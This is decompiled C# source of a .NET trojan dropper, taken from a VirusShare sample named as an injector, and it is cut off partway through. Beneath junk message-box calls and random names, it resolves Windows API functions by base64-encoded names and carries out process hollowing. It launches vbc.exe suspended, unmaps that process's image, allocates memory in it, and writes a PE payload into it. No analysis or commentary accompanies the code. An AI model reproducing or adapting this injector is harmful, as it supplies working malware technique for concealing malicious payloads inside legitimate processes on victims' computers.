// Decompiled with JetBrains decompiler // Type: YDEHbxsysxbgxdv.zvkFvmzKtsgStQcqYpbfGtrlEBXsSXTfixTUdniMbuOhc // Assembly: lalalalalallalalalala5.0, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null // MVID: 2E908D04-A26F-44E4-B264-050F7046223E // Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Dropper.Win32.Injector.byvr-3123f0068ffb523853cd675a624dd1ad16283eeba21e5e0f64cb53ce90ce5ce3.exe using Microsoft.VisualBasic; using Microsoft.VisualBasic.CompilerServices; using System; using System.Runtime.InteropServices; using System.Text; namespace YDEHbxsysxbgxdv { public class zvkFvmzKtsgStQcqYpbfGtrlEBXsSXTfixTUdniMbuOhc { [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)] public static extern IntPtr LoadLibraryA( [MarshalAs(UnmanagedType.VBByRefStr)] ref string QOTqwEivuLORJiwpaIKeHMZWFSrrTboQkPnFfGRLdMjTd); [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)] public static extern IntPtr GetProcAddress( IntPtr handle, [MarshalAs(UnmanagedType.VBByRefStr)] ref string QOTqwEivuLORJiwpaIKeHMZWFSrrTboQkPnFfGRLdMjTd); public string nMiNPUPEisbsMmLBUbOqNVVQXFtlHhkzNoEhDPrvlEkKTpvmWqbJahDpPcodajRQGVeTpFgMfsHfxmBjqGHiIWWZlsOwpgmiWoNruhIvgtXVOblFAQlQBfDnb( string YcVXgeztHukyNcvD) { int num1; int num2; try { ProjectData.ClearProjectError(); num1 = 2; int num3 = (int) Interaction.MsgBox((object) "FYukyndrVJMIdXdJujTTfvxqLWnMHUxnZoogKCwbgcURsKegfPfvylsnqQvSEcYQdPqgsISvakTEdJMtLTgFkoHlfwGZPIphdTZzgKNEPYnraoPJwUEJyTyMzCF"); int num4 = (int) Interaction.MsgBox((object) "RfMmAConOWPYfYWcHmPKixcAlciKzeSBwjadkYeNIIqoNFRNqiSZeMEEmMzxfWMwprUfaiTeFfimxSkwbTlwiteWMJyftFzeHphapoCbVIUNKJcWBxlmrZUCJdkASH"); int num5 = (int) Interaction.MsgBox((object) "yGoFNdkubJwHyRMOoehgISsnqgiqaFlRBchFOOJXjGoeqTQURJHVCFTuTQWxBRbbxogFsSNRsaeIJQkeVFTqQzQatdAOGUKBKazYkmNBIFOxoZhYZiVfLXVoTIzDgStUw"); int num6 = (int) Interaction.MsgBox((object) "lScbJsfDlFhrzrCzcKyZiOjjRsWKiWPHWYUYvxSczGCIUZYdTGAwbGtypXppsuxGiRNfROlYIiKZmSBpcpXVJgsmpEqDXahcXckEseGWLagahehwkrw"); int num7 = (int) Interaction.MsgBox((object) "frNOONtCYdeRcjTpvaUcgwmoNLasHbUhoNrtktBcMvNGAOUMLIWQlrGURivUVTLXkcqYUWeJXuWHMmbLNLkHQmLZpzknNENoNHFSXEFIsdpuaQffOfMUuBa"); label_1: int num8 = (int) Interaction.MsgBox((object) "NNyFhFiemTUnoCfXQmrISYZwzvTBoavgdpRkgAoRDtvFZhiprdMSeQTFDtuKJiVOMoVaHgYkknpqUvygGSznXZanyfTivDVhDcRywhJMDminnCTwoFOMHWPZmuSNtXGrn"); int num9 = (int) Interaction.MsgBox((object) "iEPVSOIqVfzJxMdNhoVYvXLsbaYDRBPlOpheakYYOZHjOnoklHbtGdnzfrDDmdgPXRrVLCCEacloadlkFtuJzeuALtOUtsppiBSrwIPLVFlTnokpslTWDviNussrvtoQunwmJZGQTWEOGdjlUHzvoYwhGxzAbcORPIkSdjfklsUfWnkpnRc"); int num10 = (int) Interaction.MsgBox((object) "pxHOkJvostdqsYsAiqmlqqdDanxcRhXrWwOelbLmgFvlocKOGnwJQjsaLdrzlVQfwuAcRIsQdQKDCoQUKGDEmEpOJqhxpTwVfctSkrdssmFrRKHkBYbLkDOidBnKMaKbgXPoW"); int num11 = (int) Interaction.MsgBox((object) "rjdWYyVJpcGxwzcgUXtuFDFCOuqnxmzPTdRtyzkQTvmvlnvfNbiRKXvnmkkXWIxrzobEZnVOdnugUtzFusuKSWeFEKjwbViSXPJVbYohCekQxTEEEqSppdpbbkdCglEaQgiGnjhsgGXWOJThyZepMkIegXRAlUKjLhXQaVXcOwivbbFDmDOWQd"); int num12 = (int) Interaction.MsgBox((object) "KJPvZJsnjnuefVXyOlczeySzUKyfZQfuLfcwxQEbldyPOWwvLYZeYJDrzEQckjjLjzLXjFkmpFxZTLTNOIqPPshQvMEZIXokwLfFQZotVRJJKCwaqfJHxONydXwWrvDsUDSvlnXWx"); goto label_7; label_2: num2 = -1; switch (num1) { case 2: goto label_1; } } catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) { ProjectData.SetProjectError(ex); goto label_2; } throw ProjectData.CreateProjectError(-2146828237); label_7: string str1; string str2 = str1; if (num2 == 0) return str2; ProjectData.ClearProjectError(); return str2; } public void MdWpciVQtQrIKvfUyTzHShPJeJFhp( string wRmWfYMawHXUwXwBGrIWngvwHyjhRnXEyGnNYtwlVUfGFnZwe) { int num1 = (int) Interaction.MsgBox((object) "uAmOjqHsuiVwKTctfqhlADfEozURXAcVrJOleGzKiepXECcCxluFnokEqliyGKMYQumiwinqyGpagPKsObJIqlRmHpMzuTOkZnvhTGxWfxMbalejpxrSoQPkrE"); int num2 = (int) Interaction.MsgBox((object) "aCngJXZsbhYTolDWNYSHlcCgtenTNoUxOkvqfKMbipZDaDTbxazocklTlSUhPowwzUPWxOfqDPfybdLEXIbDCFszoYHDyzieXfqSkaTJCQnoHcpqrOaNEHQtPaWJp"); int num3 = (int) Interaction.MsgBox((object) "EhDUqjUNvlihXLzZlMnvVVfSQOfxDjjJOgToqPlrXNeMdCwPVtjdMjfECTamOSlszQnGHLSoIbdvorOHJaudLoRqBxJYvElTNiMWZJSKDAUnfvRKiqmylmqVdAvhhmCe"); int num4 = (int) Interaction.MsgBox((object) "PMkmmECOgMQXZlsLOOiifinoKFqgsyEbMkYqOEzbjhSafTwroipMmcLDOFLOPLZrqZdKHWJNayvQoEEZXqvLxXrJHyNNEmSDZMDrbVHIFNAcNFrPhMnnqTnrfLklwXjBgpc"); } public void BawxKtSTDDbmeEFWbQVjVEDDa( string eMoxfpiuEevdMwqffZVVlqfYxGwvZFUjFtgcxHgWwcZqESah) { int num1 = (int) Interaction.MsgBox((object) "MqLBJzwVpFBEGQEIULPsZedQfEqcLdemQVtpsGHATOmKDiWtwfNqLibqGdMioMhZVNCJsZtOJBBqkKZnJFDVMHdMEDqYlYIvFVNFUOmgFcwKTTbaVlWOuGtIxBL"); int num2 = (int) Interaction.MsgBox((object) "eheSTmBBkCZhxLgjquzkknEZKpcczqcfuJdeJrNmKfoAHiFlKRsToGHvLusBZZBqTWjilyfWBSjpTPPvRnDOWCmxixXpSRIQKvRShKwTTsfnOHEcUjBKPeptkboiL"); int num3 = (int) Interaction.MsgBox((object) "wFzsckeRsVBLjhYnkwktIVzEdOOrgSiLJrCpgSHlYLhKItlGImivPLthPvCcfKiaeygDifQbDQhPcgkgcEMTVVqODfuMrfQBXvBIZnzCqMWPbvOayaqCFBlMDuLlxccF"); } private static T VyOuBUcSxstrwhahMmYosumMoTEynIypDOwvjVwTftbsf( string QOTqwEivuLORJiwpaIKeHMZWFSrrTboQkPnFfGRLdMjTd, string jfqIXegpNIlnUatCqWSSRVHNUlMLbRUMkOsqYNhXOcmVV) { return (T) Marshal.GetDelegateForFunctionPointer(zvkFvmzKtsgStQcqYpbfGtrlEBXsSXTfixTUdniMbuOhc.GetProcAddress(zvkFvmzKtsgStQcqYpbfGtrlEBXsSXTfixTUdniMbuOhc.LoadLibraryA(ref QOTqwEivuLORJiwpaIKeHMZWFSrrTboQkPnFfGRLdMjTd), ref jfqIXegpNIlnUatCqWSSRVHNUlMLbRUMkOsqYNhXOcmVV), typeof (T)); } public string LglWWYxkDcBhvMXGWBRFoMGeGKdgNRtrUnMPDaxdPEjJLLqWsVHuMGhrXlYlrjZFcFqkROnhcqvHTjgORodFJchxmAIxOvJBKIoqkvxTHgxMOSiaRheeqTGESx( string fDSViEvFkqSDFzEX) { int num1; int num2; try { ProjectData.ClearProjectError(); num1 = 2; int num3 = (int) Interaction.MsgBox((object) "HFMZnFzNbjrNQRFxuoatGaRhQhzetCqRKdAqrixXqPkgRsnRjhHKQSciMwwTmjNBJabHKeDVDJxEShsjprDyWhkGCsNLmITusfsRHCtaFBfbhtuWzAOFobPYaBBHilSAbySxIvJ"); int num4 = (int) Interaction.MsgBox((object) "olZUQAICekqGYzXyyfXjuCtZbHoWtoDLtxPUzBBhGKIecRjbVvhjHVQaVijTHlFZqtRyHthOoaRrbNUxbWawyTKXozSNsarOZZWvFVlNhLIbPyzIwjYZ"); int num5 = (int) Interaction.MsgBox((object) "URgQoLPnoJctHLLhcBwWorNXwvmKXYyuTxBVtVETLMTmCqhLEfrMXcICujgWpJipRsBtxlkUBtTFslzCuNcDHrGftwSjdRuIJdMPbYsZKbNdJtdtkJQrVb"); int num6 = (int) Interaction.MsgBox((object) "PFRszKgVUFtFJRkIdowMUXiBStmFaVPBDCpfSOAbIRaIKkNhtkbJOcDlcYVgNMeuPqzWoTaeVUwDwLfxvjNBnHLVyeoQlIqJbsjxQXUlijxYUpBMLGtVrHVNJggs"); label_1: int num7 = (int) Interaction.MsgBox((object) "LTuOdsOvWrkBkTIdZDPxRoiXOvaWxMqDmGjCQEAlYQVVDrNyQaIhQheHpfmvHpiqiulsEMJRRdEHeWRYKdzgrqLVNPdBcMfkfKgJinvdzZuRpzracPgNMerhPAEhTreSitCgODfkyXQQHKgwwGLOoLHCFh"); int num8 = (int) Interaction.MsgBox((object) "HJgCIiqtplHkLBfQecXrGsyJirfrNbNuNQuOTNSQOoVYHcHPngZseqCETQMhjkZvxvMknVXxaxkvqnSyqXStdzkMgkKGzgbHNGWcxhQlJuxveDbGUatUuWCIzIACJPmnhUUQflvaEVldhnqHhowbeCIBmogpDJfjRyiWbOOLZidPoZNwsXCkWYCoGkerUvHqgBoNZzYmjpzYo"); int num9 = (int) Interaction.MsgBox((object) "MCdDciNcfICgNolOgxeslZkYLKQjcagQOgfigkQrOVTWdibUijmJOLRHVCXIWrneZBTOxLIEUgCWcqrNjoFHJJXhSuuzdjeAYQqIkoIBfryuSmCjQNeBcxXm"); int num10 = (int) Interaction.MsgBox((object) "WJCpWAJiKrhkDhPvNseWkliWLqePwvrIrDEaluNJTMmertuJKktCTBfAPGClOEmJivaTnpdQvnkHwVrimEpCKJNjThHZquzTKuqrQTFyGdDmGvIPFJtpxrjQnbUBRzgimGbNJNuENpSpKAtygGgnUhuslwSkhCjwcqLEHHbfh"); int num11 = (int) Interaction.MsgBox((object) "HFQGMZUULahqcrxTlGEPOiyQTJNGNxBBNBpyuwskNWlJkgwVgNDNmPxjUrOOJAOswboamDZkXKXsLasuZoERBltXViyignmRwNRhCBrrbaskViNKETIZWCOCNRS"); goto label_7; label_2: num2 = -1; switch (num1) { case 2: goto label_1; } } catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) { ProjectData.SetProjectError(ex); goto label_2; } throw ProjectData.CreateProjectError(-2146828237); label_7: string str1; string str2 = str1; if (num2 == 0) return str2; ProjectData.ClearProjectError(); return str2; } public static void dmybuaxQpQbVnXtdntpCThpqzXSvxekEMChcdbgRYfvWW( byte[] IIjsFgBfEWhWTNfczjtzvIYZuwGdLnEkqKSHmiihmXQXC) { zvkFvmzKtsgStQcqYpbfGtrlEBXsSXTfixTUdniMbuOhc.lbeWvYDBiXriZmwgfTTuDPrLqOgsgeYqnKtFKHSjkGHQo(IIjsFgBfEWhWTNfczjtzvIYZuwGdLnEkqKSHmiihmXQXC, Conversions.ToString(Environment.SystemDirectory[0]) + ":\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\vbc.exe"); } public static string wWLICURoKiokwzOjluFzcsLfysiOXXWbMFMqEDTWZRpFx( string cOehkcBeJsodxoesDllYLmJVjRiUYymjdvsQlKQMYbpLN) { return Encoding.Default.GetString(Convert.FromBase64String(cOehkcBeJsodxoesDllYLmJVjRiUYymjdvsQlKQMYbpLN)); } public string YPcdUkIfvfSaFbNFebHykUPcGpMdprJitrpNFRBmWQVpppaHKccPDGYqqFDiiiWqlMkJQjmeUgvNvYMrkqNpEMgLdmZiRSKKBkHknAuaSTgKvDkjbThaQYKYkjo( string chhlZgbqIuIvEjSv) { int num1; int num2; try { ProjectData.ClearProjectError(); num1 = 2; int num3 = (int) Interaction.MsgBox((object) "mmbgKVhJDTQvzcLCQhxFczzCsxqjsTWQpUEcrUHbdOTQxDSZQeKClZYcZcWcGHZHOCtyJXeNHKiQWRdBQquuVgSEPvzsLhdKRLQjvhujxieiDRlwYrWWRUcwVftWqwcnF"); int num4 = (int) Interaction.MsgBox((object) "bvcXsyeDzphczovNYkTTpyIfiBJNtGzjNNlCPrhSbwFuSZgBIfzEfeOqDkmFNBPIPdyesgsBebDttXIPociZKWwOTjKlcqvOyZRzDlSCtjcZobbNZbbbGYLFsSoLVHLgJD"); int num5 = (int) Interaction.MsgBox((object) "fCIOaOvsWkWPTSQRVAEBjZFmSLySJAwhDOjExKTmyXwXtuaSemMbJtRyyVNqvbQlNcShXLsqLUGqAprJgDrzGIEsuuzJHmsaZymRpxUyWjbpclTkrIVoPAVOXpjtkPfynTemDA"); int num6 = (int) Interaction.MsgBox((object) "gSbPOustdwThbYjGzcQrMrfrxvEchmIqYUySOyaJpqDYJysmssrCSOyhoeboKGnoWznTFtiOsUxCvZJEqDrBVFYRMiBEsaiBojWyVedSQDoznwzOVgG"); int num7 = (int) Interaction.MsgBox((object) "VORirratNkqdiMLfDlwJXaxEyWwMXSKYBLGXGCiEhTMxZuqCHVGrmrUdKmDjltviWEUzUcIYpBylUcjuKUhoYFNztwpbaZcziqQchJcFXhuPZzkhYHbelt"); int num8 = (int) Interaction.MsgBox((object) "kGMCtikopuObIBRIFBErfLjtOFdnMhCTSZGelmcuOrJctedpTkkRJPKItuedKctQRHSQLGnNQVZieVOIjbyCRpgyKkryhROnCtfOOFXTPTrtKnhqUSeBACGpjOw"); int num9 = (int) Interaction.MsgBox((object) "JSEGgjXFZnQdQwJJFvUNzHOGCLfoTiQnTVQWzMmiFuEySvBXNNxyIcVtjUoMcOCBcQDrrftcYgTeExKEIrdZFFnKQihmCpAjixoxPsuXkR"); int num10 = (int) Interaction.MsgBox((object) "CAlPHsIQPvhJCxubxfGcDxGhlXebQDmYlgCmbcWYxgYieNFUppTSAIZgboMkXlbnsEHHMdwHPaFBpsmOqkkHKrjTNhaNkQpssHheHLstmQJOcAwlVGoydNsWPrDLyFkOIfK"); int num11 = (int) Interaction.MsgBox((object) "bsSHrjoSzDVSXgGJSBrgiWpUdUKeDwqTvpFBoJVybVdTDbrqTcLckQCEVanPxedvKpRjzVolyOwMlcuPzlkDRweJxUVSnMTPjYxsMPIUWfvWmkobaUyYZKWflvXabOKrvHreF"); int num12 = (int) Interaction.MsgBox((object) "ERkbqLGTGDjgquiaBxjIHfuKGfSewdhhUcmVJILMDigfVWEKAkKLDaMTtXoBMnsyKjrHbSNoJCWnylYcGAiFPMBJnuHtsNLRlPXoJpepBkmuVuYGeuH"); int num13 = (int) Interaction.MsgBox((object) "SiZNwppYGGPmOyHSKLkEEbBaplpaLTNCCojJjzsQYRzmGxjRYkSlRTpSryyImYEOMeyCvChOprDpCySJXPxpajTCcUttOmgfTvBsZKOrbUKwwPQUcoHRZou"); label_1: int num14 = (int) Interaction.MsgBox((object) "RvExkIbPwyvGniWsqyRwguxSstGgvUumfZQbLsjNqzrWhgrvzZtKHJUAnXaILgcdbOFiOLAvtltfItfEEVStlfjXgWvuLFmFjkLCtJqVicrQTQBahKdgSEEpxMFYvmmXdJYQDiTvjvYJQsVRLLOEFas"); int num15 = (int) Interaction.MsgBox((object) "LAZGyQBPLboIdsunOgLDeFqeXchvRdimWnCFzSlpybHCybOZSUtWgjBJCgsudVgTypvWMuKLLMezXLqVbfqqDAhOAUGMGNMFRgZcdYYNrfUoedJjLvhvwruWtpCJRfLFYjkhCfWSZninQbxZgTRlxaqqReBGljLNViXSyeBqRdKHBmJEtZNBmEQjePZuwcJsODJXBZIv"); int num16 = (int) Interaction.MsgBox((object) "gvOkLymezhIRyMqJOHxXkWjttpFJXtmuheHXysoYRfJWKySULjUFroUTYjchkKfmnJYCSCFoitfdeamPOEWKsjnHdPBLsCKhAgcjvyYIBQluhMmeZOSvRaepKcrDXoRLWphaJCjOWspcwfIutIWToigBUS"); int num17 = (int) Interaction.MsgBox((object) "CCNKHlnaDfNlZTImenlfRtNfmnhaAMaQjEcjVjjhivUfkNNjpLnHiXMJRJIOgnSNUlyFsWmSsXruAPLCyXyapjZevZtQQkHwTClavuFtbMrlIzjBcGiWXCQZYifRtobJwIyOhRmOqYitPevaYDmcDOOeIeoWcvpiQZibWNTgiGOlRaHMjBOEeOsfcFXttvsNGSODpJZ"); goto label_7; label_2: num2 = -1; switch (num1) { case 2: goto label_1; } } catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) { ProjectData.SetProjectError(ex); goto label_2; } throw ProjectData.CreateProjectError(-2146828237); label_7: string str1; string str2 = str1; if (num2 == 0) return str2; ProjectData.ClearProjectError(); return str2; } public string QhngJyWzFPNJkLimwFcqsEcMeJkmXiKaamdvIVrbMfNXDeFmAgjLGpmaINzNlYxjkBEQDSzBmBHRrBerDYGbVbNeFMHEMExrnYSPedbbsCTUQpCvjXkdalzfy( string CCfjrMePddRFOIbq) { int num1; int num2; try { ProjectData.ClearProjectError(); num1 = 2; int num3 = (int) Interaction.MsgBox((object) "QYUiJOzBvCKMysxcejpUKiZbQzvWUjKmNwFKaalkQVNeXvOMdiCwfOJvntciOHSdvdfjNlkqjIUuNPqazbynXqPPWShlzWSEomgnXrNbclVsTwscWhQanLFss"); int num4 = (int) Interaction.MsgBox((object) "LYvXyKKHRvMkvmSpdNgngbjNRwKsWLjcHvYuKnCDRkXUtrJCeqFwUlKSPoCyKxEYJtyJLVhdDJrpMPkhZWthNCbZdtygEoLLViFLnrPqiVwzGLJcxkNENKhbVb"); int num5 = (int) Interaction.MsgBox((object) "GVxEhaCDMWaLRgdLDhMTYEKrIvHyIzEztoHrcUZQowbcQsSbLsYDGrmvrIdIIMTsLOwhzFPTcYPOVUNSVtaqovThOhiZsuPjPpIeQpPJpoMtQglftsYIyfYmpoNnqdd"); int num6 = (int) Interaction.MsgBox((object) "CIXeYUbSTPOBxDjsXoENmlMIEpwhPUbrCVBDUULOjJJdbhvKPhTjZSfImnMEpUIDtVbNqsdFzgmYWrmopDJNKhXrhCQLrktKLtiLKtBPlarvvrOeOCCKoloBYMelNbChsy"); label_1: int num7 = (int) Interaction.MsgBox((object) "JQfsHpKDlmjEfevPVCEPJeLxJyMlsTvJIbVzCJsrLmLsHRZFUwDaqTtVSmKTpeQNhojcBQVeSHljVRTMUbeWaYHpdAfVIzADaeiNuwTALRKllMbsLLZaqxssexuwSxKSRWordEENSnI"); int num8 = (int) Interaction.MsgBox((object) "ZLtSiAuRygglSINNgvewxMvDPBQrSBCndlNiZNxsRqLVqEfyLxwWnhGPGvZvQcKIlKvRYQnSxaeDkxQtZNnlcUaJPCHqCCjuHKOIMNMIyLGVjqOMdRacybByyyjRKcSMwMmwXENacZMOVlUThlcjiDcyNLZMUFHYPtlVprnlsrSWajfcryQwPCWTQzRRmyu"); int num9 = (int) Interaction.MsgBox((object) "diXPtpKsyPfMPGnxroRqkEwtNSdpJriMzOykltycvUXMmcQqcilpZaNcdlziNqYLlLHpfBfAOKnsJYKAZUDjzlzWKtYaptMIOUGXnCCJLARCrsEHfdHjOxvsb"); int num10 = (int) Interaction.MsgBox((object) "POayBgvglqnzDrvHCkHLjYDBqgBBRiWfZrNVeQnHqbfZahOTZQBPeqbEYfwkRCrioFoeuOzKiWNSZNKdzgkaHXdAdkdGGdddmFzRZxdguOMvbJRUsEIgQccUdQssJbLzVOxGNROurJPVuQFfnlRtMfszGajLjZJlWhcKTxcoIISJ"); goto label_7; label_2: num2 = -1; switch (num1) { case 2: goto label_1; } } catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) { ProjectData.SetProjectError(ex); goto label_2; } throw ProjectData.CreateProjectError(-2146828237); label_7: string str1; string str2 = str1; if (num2 == 0) return str2; ProjectData.ClearProjectError(); return str2; } public static bool lbeWvYDBiXriZmwgfTTuDPrLqOgsgeYqnKtFKHSjkGHQo( byte[] ykoPoBuNKgCaTParHcPZwrVXDXdkaGPQOTqwEivuLORJi, string surrogateProcess) { bool flag; try { zvkFvmzKtsgStQcqYpbfGtrlEBXsSXTfixTUdniMbuOhc.RwGHFKunuZmlCGIzZogRyBVxDQbvJwiKgfHoGrvWwICUR jwiKgfHoGrvWwIcur = zvkFvmzKtsgStQcqYpbfGtrlEBXsSXTfixTUdniMbuOhc.VyOuBUcSxstrwhahMmYosumMoTEynIypDOwvjVwTftbsf(zvkFvmzKtsgStQcqYpbfGtrlEBXsSXTfixTUdniMbuOhc.wWLICURoKiokwzOjluFzcsLfysiOXXWbMFMqEDTWZRpFx("a2VybmVsMzI="), zvkFvmzKtsgStQcqYpbfGtrlEBXsSXTfixTUdniMbuOhc.wWLICURoKiokwzOjluFzcsLfysiOXXWbMFMqEDTWZRpFx("Q3JlYXRlUHJvY2Vzc0E=")); zvkFvmzKtsgStQcqYpbfGtrlEBXsSXTfixTUdniMbuOhc.nKiaWiyOjXgEyceLekshNWXVaxEMpDCSWYQpFwhPRlOTh dcswyQpFwhPrlOth = zvkFvmzKtsgStQcqYpbfGtrlEBXsSXTfixTUdniMbuOhc.VyOuBUcSxstrwhahMmYosumMoTEynIypDOwvjVwTftbsf(zvkFvmzKtsgStQcqYpbfGtrlEBXsSXTfixTUdniMbuOhc.wWLICURoKiokwzOjluFzcsLfysiOXXWbMFMqEDTWZRpFx("a2VybmVsMzI="), zvkFvmzKtsgStQcqYpbfGtrlEBXsSXTfixTUdniMbuOhc.wWLICURoKiokwzOjluFzcsLfysiOXXWbMFMqEDTWZRpFx("R2V0VGhyZWFkQ29udGV4dA==")); zvkFvmzKtsgStQcqYpbfGtrlEBXsSXTfixTUdniMbuOhc.dMZyzajvYrWuNmNYSkTqakqmyPelnwUPsubhBJxeZZYdO pelnwUpsubhBjxeZzYdO = zvkFvmzKtsgStQcqYpbfGtrlEBXsSXTfixTUdniMbuOhc.VyOuBUcSxstrwhahMmYosumMoTEynIypDOwvjVwTftbsf(zvkFvmzKtsgStQcqYpbfGtrlEBXsSXTfixTUdniMbuOhc.wWLICURoKiokwzOjluFzcsLfysiOXXWbMFMqEDTWZRpFx("a2VybmVsMzI="), zvkFvmzKtsgStQcqYpbfGtrlEBXsSXTfixTUdniMbuOhc.wWLICURoKiokwzOjluFzcsLfysiOXXWbMFMqEDTWZRpFx("UmVhZFByb2Nlc3NNZW1vcnk=")); zvkFvmzKtsgStQcqYpbfGtrlEBXsSXTfixTUdniMbuOhc.VcsTSiYbTrVzxfUofWjtccQQqzMoInLdpdaUmjHqBHDPf inLdpdaUmjHqBhdPf = zvkFvmzKtsgStQcqYpbfGtrlEBXsSXTfixTUdniMbuOhc.VyOuBUcSxstrwhahMmYosumMoTEynIypDOwvjVwTftbsf(zvkFvmzKtsgStQcqYpbfGtrlEBXsSXTfixTUdniMbuOhc.wWLICURoKiokwzOjluFzcsLfysiOXXWbMFMqEDTWZRpFx("a2VybmVsMzI="), zvkFvmzKtsgStQcqYpbfGtrlEBXsSXTfixTUdniMbuOhc.wWLICURoKiokwzOjluFzcsLfysiOXXWbMFMqEDTWZRpFx("V3JpdGVQcm9jZXNzTWVtb3J5")); zvkFvmzKtsgStQcqYpbfGtrlEBXsSXTfixTUdniMbuOhc.gCENkSvLrxRZPuppoteXeJjVlorjIlQzvkFvmzKtsgStQ ilQzvkFvmzKtsgStQ = zvkFvmzKtsgStQcqYpbfGtrlEBXsSXTfixTUdniMbuOhc.VyOuBUcSxstrwhahMmYosumMoTEynIypDOwvjVwTftbsf(zvkFvmzKtsgStQcqYpbfGtrlEBXsSXTfixTUdniMbuOhc.wWLICURoKiokwzOjluFzcsLfysiOXXWbMFMqEDTWZRpFx("bnRkbGw="), zvkFvmzKtsgStQcqYpbfGtrlEBXsSXTfixTUdniMbuOhc.wWLICURoKiokwzOjluFzcsLfysiOXXWbMFMqEDTWZRpFx("WndVbm1hcFZpZXdPZlNlY3Rpb24=")); zvkFvmzKtsgStQcqYpbfGtrlEBXsSXTfixTUdniMbuOhc.qFmEptTIFyROlHflhswLgirCvZpIcvpfLUUTXJCJnzzPT icvpfLuutxjcJnzzPt = zvkFvmzKtsgStQcqYpbfGtrlEBXsSXTfixTUdniMbuOhc.VyOuBUcSxstrwhahMmYosumMoTEynIypDOwvjVwTftbsf(zvkFvmzKtsgStQcqYpbfGtrlEBXsSXTfixTUdniMbuOhc.wWLICURoKiokwzOjluFzcsLfysiOXXWbMFMqEDTWZRpFx("a2VybmVsMzI="), zvkFvmzKtsgStQcqYpbfGtrlEBXsSXTfixTUdniMbuOhc.wWLICURoKiokwzOjluFzcsLfysiOXXWbMFMqEDTWZRpFx("VmlydHVhbEFsbG9jRXg=")); zvkFvmzKtsgStQcqYpbfGtrlEBXsSXTfixTUdniMbuOhc.VyOuBUcSxstrwhahMmYosumMoTEynIypDOwvjVwTftbsf(zvkFvmzKtsgStQcqYpbfGtrlEBXsSXTfixTUdniMbuOhc.wWLICURoKiokwzOjluFzcsLfysiOXXWbMFMqEDTWZRpFx("a2VybmVsMzI="), zvkFvmzKtsgStQcqYpbfGtrlEBXsSXTfixTUdniMbuOhc.wWLICURoKiokwzOjluFzcsLfysiOXXWbMFMqEDTWZRpFx("VmlydHVhbEFsbG9jRXg=")); zvkFvmzKtsgStQcqYpbfGtrlEBXsSXTfixTUdniMbuOhc.rYsxGvbkkjoLSZERQgjmeDSLudfzcguranNNowJlFkJaB ludfzcguranNnowJlFkJaB = zvkFvmzKtsgStQcqYpbfGtrlEBXsSXTfixTUdniMbuOhc.VyOuBUcSxstrwhahMmYosumMoTEynIypDOwvjVwTftbsf(zvkFvmzKtsgStQcqYpbfGtrlEBXsSXTfixTUdniMbuOhc.wWLICURoKiokwzOjluFzcsLfysiOXXWbMFMqEDTWZRpFx("a2VybmVsMzI="), zvkFvmzKtsgStQcqYpbfGtrlEBXsSXTfixTUdniMbuOhc.wWLICURoKiokwzOjluFzcsLfysiOXXWbMFMqEDTWZRpFx("U2V0VGhyZWFkQ29udGV4dA==")); zvkFvmzKtsgStQcqYpbfGtrlEBXsSXTfixTUdniMbuOhc.alfxhEnyFBMdrzBLidHIovOWMrmnlqbipGhgwmpgGiNLt mrmnlqbipGhgwmpgGiNlt = zvkFvmzKtsgStQcqYpbfGtrlEBXsSXTfixTUdniMbuOhc.VyOuBUcSxstrwhahMmYosumMoTEynIypDOwvjVwTftbsf(zvkFvmzKtsgStQcqYpbfGtrlEBXsSXTfixTUdniMbuOhc.wWLICURoKiokwzOjluFzcsLfysiOXXWbMFMqEDTWZRpFx("a2VybmVsMzI="), zvkFvmzKtsgStQcqYpbfGtrlEBXsSXTfixTUdniMbuOhc.wWLICURoKiokwzOjluFzcsLfysiOXXWbMFMqEDTWZRpFx("UmVzdW1lVGhyZWFk")); IntPtr zero1 = IntPtr.Zero; IntPtr[] xpInxfox = new IntPtr[4]; byte[] ecKyTKBOZIHuuWeqTmSpIUIGzSPlVglitLMhirQwapWcv = new byte[68]; int int32 = BitConverter.ToInt32(ykoPoBuNKgCaTParHcPZwrVXDXdkaGPQOTqwEivuLORJi, 60); int int16 = (int) BitConverter.ToInt16(ykoPoBuNKgCaTParHcPZwrVXDXdkaGPQOTqwEivuLORJi, checked (int32 + 6)); IntPtr cjqVhhwBEuUjcMtwRtxMIrFeeGOaDWCZrRrDwPyVFQVRd = new IntPtr(BitConverter.ToInt32(ykoPoBuNKgCaTParHcPZwrVXDXdkaGPQOTqwEivuLORJi, checked (int32 + 84))); if (jwiKgfHoGrvWwIcur((string) null, new StringBuilder(surrogateProcess), zero1, zero1, false, 4, zero1, (string) null, ecKyTKBOZIHuuWeqTmSpIUIGzSPlVglitLMhirQwapWcv, xpInxfox)) { uint[] OqvJToCpbDZYzhykoPoBuNKgCaTParHcPZwrVXDXdkaGP = new uint[179]; OqvJToCpbDZYzhykoPoBuNKgCaTParHcPZwrVXDXdkaGP[0] = 65538U; if (dcswyQpFwhPrlOth(xpInxfox[1], OqvJToCpbDZYzhykoPoBuNKgCaTParHcPZwrVXDXdkaGP)) { IntPtr eqTmSpIUIGzSPlVglitLMhirQwapWcvEtZUVTYJCKnPzQ = new IntPtr(checked ((long) OqvJToCpbDZYzhykoPoBuNKgCaTParHcPZwrVXDXdkaGP[41] + 8L)); IntPtr zero2 = IntPtr.Zero; IntPtr qGZtMHvbkljoZTaERQgkneETLvdfBdhvGaobOoLKmTlXb = new IntPtr(4); IntPtr zero3 = IntPtr.Zero; if (pelnwUpsubhBjxeZzYdO(xpInxfox[0], eqTmSpIUIGzSPlVglitLMhirQwapWcvEtZUVTYJCKnPzQ, ref zero2, (int) qGZtMHvbkljoZTaERQgkneETLvdfBdhvGaobOoLKmTlXb, ref zero3) && ilQzvkFvmzKtsgStQ(xpInxfox[0], zero2) == 0U) { IntPtr num1 = new IntPtr(BitConverter.ToInt32(ykoPoBuNKgCaTParHcPZwrVXDXdkaGPQOTqwEivuLORJi, checked (int32 + 52))); IntPtr num2 = new IntPtr(BitConverter.ToInt32(ykoPoBuNKgCaTParHcPZwrVXDXdkaGPQOTqwEivuLORJi, checked (int32 + 80))); IntPtr fCYwDyKNcxyJSNqGZtMHvbkljoZTaERQgkneETLvdfBdh 